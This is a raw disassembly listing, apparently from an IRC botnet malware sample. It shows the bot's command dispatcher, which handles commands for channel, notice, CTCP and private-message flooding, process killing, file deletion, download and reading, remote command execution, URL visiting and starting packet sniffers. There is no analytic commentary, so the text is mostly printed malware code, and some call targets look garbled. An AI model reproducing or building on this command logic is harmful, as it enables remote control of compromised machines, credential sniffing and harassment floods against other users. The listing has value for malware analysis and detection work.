		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_430E3C
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CFD
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_404CFD:				; CODE XREF: sub_401ACD+31B9j
					; sub_401ACD+31BFj ...
		push	[ebp+arg_10]
		push	offset dword_430E38
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D69
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D69
		push	offset asc_43233C ; " "
		push	offset dword_430E34
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_50F4]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_50F4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_430E24
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404D69:				; CODE XREF: sub_401ACD+3241j
					; sub_401ACD+324Cj
		push	[ebp+arg_10]
		push	offset dword_430E20
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DD5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DD5
		push	offset asc_43233C ; " "
		push	offset dword_430E34
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4BF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_430E0C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404DD5:				; CODE XREF: sub_401ACD+32ADj
					; sub_401ACD+32B8j
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E41
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E41
		push	offset asc_43233C ; " "
		push	offset dword_430E34
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_46EC]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404E41:				; CODE XREF: sub_401ACD+3319j
					; sub_401ACD+3324j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EAD
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404EAD
		push	offset asc_43233C ; " "
		push	offset dword_430E34
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4DF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404EAD:				; CODE XREF: sub_401ACD+3385j
					; sub_401ACD+3390j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EEC
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EEC
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404EEC:				; CODE XREF: sub_401ACD+33F1j
					; sub_401ACD+33FCj
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F2B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F2B
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404F2B:				; CODE XREF: sub_401ACD+3430j
					; sub_401ACD+343Bj
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F6F
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F6F
		push	offset aCyber	; "CYBER"
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404F6F:				; CODE XREF: sub_401ACD+346Fj
					; sub_401ACD+347Aj
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FE8
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FE8
		call	near ptr 26A0B14h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_430DA4
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_430D9C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404FE8:				; CODE XREF: sub_401ACD+34B3j
					; sub_401ACD+34BCj
		push	[ebp+arg_10]
		push	offset dword_430D90
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405135
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405135
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405135:				; CODE XREF: sub_401ACD+352Cj
					; sub_401ACD+3539j
		push	[ebp+arg_10]
		push	offset dword_430D8C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051CF
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_4051CF
		nop
		call	near ptr 26A0B14h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_430D64
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 24h


loc_4051CF:				; CODE XREF: sub_401ACD+3679j
					; sub_401ACD+3686j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052D1
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_4052D1
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_430D9C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_430D9C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_430D9C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_4052D1:				; CODE XREF: sub_401ACD+3713j
					; sub_401ACD+3722j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405318
		lea	eax, [ebp+var_1808]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_430D9C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_405318:				; CODE XREF: sub_401ACD+3815j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405407
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405407
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset dword_430E24
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_430E24
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_430E24
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405407:				; CODE XREF: sub_401ACD+385Cj
					; sub_401ACD+3869j
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054F6
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054F6
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_4054F6:				; CODE XREF: sub_401ACD+394Bj
					; sub_401ACD+3958j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40560D
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40560D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_430D1C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_430D04
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_430CEC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_430CEC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_40560D:				; CODE XREF: sub_401ACD+3A3Aj
					; sub_401ACD+3A47j
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405733
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405733
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_430D1C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405733:				; CODE XREF: sub_401ACD+3B51j
					; sub_401ACD+3B5Ej
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405779
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_405779
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405779:				; CODE XREF: sub_401ACD+3C77j
					; sub_401ACD+3C82j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4062C3
		mov	edi, offset dword_4D98BC


loc_405795:				; CODE XREF: sub_401ACD+3CE7j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057A8
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057A8
		push	eax
		call	dword_4D08BC


loc_4057A8:				; CODE XREF: sub_401ACD+3CCCj
					; sub_401ACD+3CD2j
		add	edi, 210h
		cmp	edi, offset dword_4DFFDC
		jl	short loc_405795
		cmp	[ebp+var_8], ebx
		jnz	loc_4062C3
		push	ebx
		push	[ebp+var_4]
		push	offset unk_430C8C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4062C3
; ---------------------------------------------------------------------------


loc_4057DE:				; CODE XREF: sub_401ACD+3195j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aN	; "n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aJ	; "j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aK	; "k"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aO	; "o"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aServer	; "server"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aSe	; "se"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aDel	; "del"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aGet	; "get"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aList	; "list"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aLi	; "li"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aV	; "v"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C7B
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C41
		push	20h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405B6B
		push	offset dword_430BA4
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405B6B:				; CODE XREF: sub_401ACD+4092j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405BAD
		mov	esi, offset loc_429158
		push	offset dword_4429D8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BAD
		mov	esi, [ebp+var_88]


loc_405BAD:				; CODE XREF: sub_401ACD+40C2j
					; sub_401ACD+40D8j
		push	esi
		lea	eax, [ebp+var_EC0]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_430B74
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset byte_411FD5
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_405C30


loc_405C1A:				; CODE XREF: sub_401ACD+4161j
		cmp	[ebp+var_E34], ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2680E26h
		nop
		jmp	short loc_405C1A
; ---------------------------------------------------------------------------


loc_405C30:				; CODE XREF: sub_401ACD+414Bj
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset dword_430B38
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405C41:				; CODE XREF: sub_401ACD+4082j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	20h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C71
		push	eax
		push	offset dword_430AFC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405C71:				; CODE XREF: sub_401ACD+4197j
		push	offset dword_430AD0
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405C7B:				; CODE XREF: sub_401ACD+406Bj
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DCD
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405D93
		push	21h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405CBD
		push	offset unk_430AA8
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405CBD:				; CODE XREF: sub_401ACD+41E4j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405CFF
		mov	esi, offset loc_429158
		push	offset dword_4429D8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405CFF
		mov	esi, [ebp+var_88]


loc_405CFF:				; CODE XREF: sub_401ACD+4214j
					; sub_401ACD+422Aj
		push	esi
		lea	eax, [ebp+var_FE8]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_430A78
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_412660
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
